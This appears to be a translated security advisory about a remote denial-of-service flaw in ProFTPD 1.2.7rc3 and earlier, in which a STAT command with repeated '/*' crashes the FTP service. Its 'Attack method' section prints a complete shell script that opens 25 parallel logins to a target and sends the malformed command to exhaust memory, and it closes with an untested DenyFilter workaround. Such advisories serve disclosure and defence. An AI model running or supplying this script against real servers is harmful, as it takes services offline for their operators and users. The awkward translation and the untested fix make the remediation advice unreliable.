ProFTPD malformed STAT Command Parameter Remote DoS Defect

 

Figure-ProFTPD

ProFTPDMalformedSTAT commandParameter Remote DoS defect:

Involved procedures:

ProFTPD 1.2.7

Description:

ProFTPD malformed STAT Command Parameter Remote DoS Defect

Details:

ProFTPD is a source code open FTP service program in Unix and Linux operating systems.

ProFTPD does not properly filter user-submitted STAT command parameters. When an attacker submits a STAT command with multiple '/*' characters in parameters to the ProFTPD service program, the FTP service will crash and the service will be denied.

Affected Systems:

ProFTPD 1.2.7 rc3 and all earlier versions

Attack method:

 
 

  
  
#!/bin/sh  
  
  
 
  
  
# proftpd <=1.2.7rc3 DoS - Requires anonymous/ftp login at least  
  
  
 
  
  
# might work against many other FTP daemons  
  
  
 
  
  
# consumes nearly all memory and alot of CPU  
  
  
 
  
  
# tested against slackware 8.1 - proftpd 1.2.4 and 1.2.7rc3  
  
  
 
  
  
# 7-dec-02 - detach - www.duho.org  
  
  
 
  
  
# use: ./prodos.sh   
  
  
 
  
  
# do this some more to make sure the system eventually dies  
  
  
 
  
  
cnt=25  
  
  
 
  
  
while [ $cnt -gt 0 ] ; do 
  
  
 
  
  
ftp -n << EOF&  
  
  
 
  
  
o $1  
  
  
 
  
  
quote user $2  
  
  
 
  
  
quote pass $3  
  
  
 
  
  
quote stat /*/*/*/*/*/*/*  
  
  
 
  
  
quit  
  
  
 
  
  
EOF  
  
  
 
  
  
let cnt=cnt-1  
  
  
 
  
  
done  
  
  
 
  
  
sleep 2  
  
  
 
  
  
killall -9 ftp  
  
  
 
  
  
echo DONE!  
  
  
 
  
  
#end  
  
  
 
 
 

Solution:

Currently, the vendor does not provide patches or upgrade programs. We recommend that you pay attention to the vendor's site at any time:

Http://www.proftpd.org

Temporary solution:

* Add the following line to the 'ftpd. conf' file (not tested yet ):

DenyFilter \*.*/

Through the text, we can clearly know where the ProFTPD error is, and fix it now!

• Proftpd supports sfv Verification
• FTP service Proftpd + mysql + quota
• What do MySQL users need to authenticate ProFTPD?
• Use of Limit in Proftpd
• ProFTPD Server Security Policy
• Study Notes for Proftpd prawns
• Detailed analysis of ProFTPD